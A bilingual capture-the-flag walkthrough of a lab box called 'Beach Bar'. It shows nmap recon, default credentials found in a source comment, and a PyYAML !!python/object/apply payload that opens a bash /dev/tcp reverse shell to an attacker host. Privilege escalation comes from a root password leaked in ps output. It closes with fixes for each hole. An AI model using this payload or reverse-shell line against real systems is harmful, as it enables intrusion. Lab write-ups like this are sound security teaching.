- Recon: only SSH and HTTP (gunicorn); the web app is the only way in.
- Demo
dj/djlogin left in theview-source. - Playlist import uses unsafe
yaml.load→ RCE via!!python/object/apply. - Reverse shell as bartender, then
ps auxleaks a root daemon's stream-pass, reused as the root password. - Defense:
safe_loadand never secrets in CLI args.
Swap <target> for the box IP and <attacker> for your VPN IP (ip a show tun0). The nc listener runs on your machine; from the foothold onwards commands run on the target. You need: nmap, netcat, curl and a browser.
[01] Recon and attack surface
The machine IP goes straight into the browser: up comes "Beach Bar // Sign in", a web app on port 80. In parallel I fire nmap to see what I'm dealing with.
# superficie minima: due porte e via nmap -sC -sV -p- <target> -oN nmap.txt # 22/tcp open ssh # 80/tcp open http gunicorn
# minimal surface: two ports and that's it nmap -sC -sV -p- <target> -oN nmap.txt # 22/tcp open ssh # 80/tcp open http gunicorn
Two ports total: SSH and an HTTP served by gunicorn. A tiny attack surface, which is almost a hint in itself: the way in is the web app.
[02] The login nobody turned off
First rule, always worth it: I read the login page source. And sure enough, the developer forgot something.
In the login's view-source, a gift: "staff note: demo DJ login still enabled for the soft opening — dj / dj, swap before the season (ticket BAR-7)". A comment like that in the source is the key under the doormat.
# il commento vive nel sorgente del login, non nella pagina renderizzata curl -s http://<target>/login | grep -i -B1 -A1 'staff note' <!-- staff note: demo DJ login still enabled for the soft opening — dj / dj, swap before the season (ticket BAR-7) --> # le uso sul form: http://<target>/login → dashboard DJ dj / dj
# the comment lives in the login source, not in the rendered page curl -s http://<target>/login | grep -i -B1 -A1 'staff note' <!-- staff note: demo DJ login still enabled for the soft opening — dj / dj, swap before the season (ticket BAR-7) --> # use them on the form: http://<target>/login → DJ dashboard dj / dj
Inside, a DJ dashboard for "tonight's set" with two interesting buttons: Export and Import of a playlist as YAML. I hit Export first to learn the format.
# formato playlist restituito da Export playlist: name: Sunset Session vibe: golden hour tracks: - artist: Khruangbin title: Maria Tambien
# playlist format returned by Export playlist: name: Sunset Session vibe: golden hour tracks: - artist: Khruangbin title: Maria Tambien
[03] RCE via PyYAML unsafe load
A feature that eats raw YAML from a logged-in user is exactly the kind of thing to test for code execution. I open a listener — remembering to open the port on the VPN, or the shell never comes back.
# apri PRIMA la porta sul tuo firewall locale (altrimenti il callback dalla VPN viene droppato), poi ascolta sudo ufw allow 4444/tcp # se hai un firewall locale nc -lvnp 4444
# open the port on your LOCAL firewall FIRST (otherwise the VPN callback gets dropped), then listen sudo ufw allow 4444/tcp # if you run a local firewall nc -lvnp 4444
# incollato nel box Import playlist playlist: name: !!python/object/apply:subprocess.check_output [["bash","-c","bash -i >& /dev/tcp/<attacker>/4444 0>&1"]] tracks: []
# pasted into the Import playlist box playlist: name: !!python/object/apply:subprocess.check_output [["bash","-c","bash -i >& /dev/tcp/<attacker>/4444 0>&1"]] tracks: []
Why it works: the app deserializes the YAML with an unsafe loader (yaml.load(...) with Loader=yaml.Loader/UnsafeLoader, or yaml.unsafe_load()): that loader reconstructs arbitrary Python objects. In recent PyYAML, yaml.load() without an explicit Loader raises an error precisely to prevent this — here that safeguard was bypassed. The !!python/object/apply tag isn't "YAML injection": it's a genuine deserialization gadget that invokes a callable — here subprocess.check_output — during parsing. Same pattern as pickle, Java's readObject or PHP's unserialize: if the format rebuilds objects, whoever controls the data controls the code.
A method detail worth isolating: check_output blocks until the command finishes and raises an exception on a non-zero exit code. If the listener isn't up yet (or the port is closed on the VPN), bash -c fails, the exception bubbles up and the app returns 500 — no shell. That's why I open the port and listener before sending the payload; in more fragile scenarios os.system is more forgiving because it doesn't raise on the return code.
A shell comes back as bartender. It's a bit crippled (no arrow keys, no tab), so I stabilize it and read the first flag.
# TTY decente — [sul target] python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z → torna alla TUA shell locale stty raw -echo; fg # [sulla tua macchina] export TERM=xterm # [di nuovo sul target] id # uid=1001(bartender) # la flag utente sta nella home dell'utente (cwd variabile: uso una glob) cat /home/*/user.txt # THM{████████████████████}
# a decent TTY — [on the target] python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z → back to YOUR local shell stty raw -echo; fg # [on your machine] export TERM=xterm # [back on the target] id # uid=1001(bartender) # the user flag lives in the user's home (cwd varies: use a glob) cat /home/*/user.txt # THM{████████████████████}
[04] Privesc: the process that talks too much
Root took more digging. The trick here isn't an exploit but observation: what do the running processes say out loud?
# cosa dice ad alta voce un processo ps aux | grep python # root ... /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass ████ ... # un demone jukebox gira come ROOT e mette la stream-pass sulla command line; è riusata come password di root (credential reuse): la provo con su su root # password: ████ cat /root/root.txt # THM{████████████████████}
# what a process says out loud ps aux | grep python # root ... /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass ████ ... # a jukebox daemon runs as ROOT and puts its stream-pass on the command line; it's reused as the root password (credential reuse): I try it with su su root # password: ████ cat /root/root.txt # THM{████████████████████}
The technical lesson: the arguments of any process are readable by anyone via /proc/PID/cmdline, unless /proc is mounted with hidepid. ps aux | grep python is handy but narrow: a password passed as a flag on the command line is a public secret for every user on the box, not just the python processes. When I enumerate for privesc I always scan the whole COMMAND column, not only the grep I expect to hit.
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
Two concrete defenses. One: always parse with yaml.safe_load() — and more broadly, don't deserialize object-reconstructing formats from untrusted input. Two: passwords must never be passed as CLI arguments; use environment variables, config files with tight permissions or a secret manager, and consider hidepid on /proc. And while you're at it: strip demo logins and comments from the source before the "soft opening".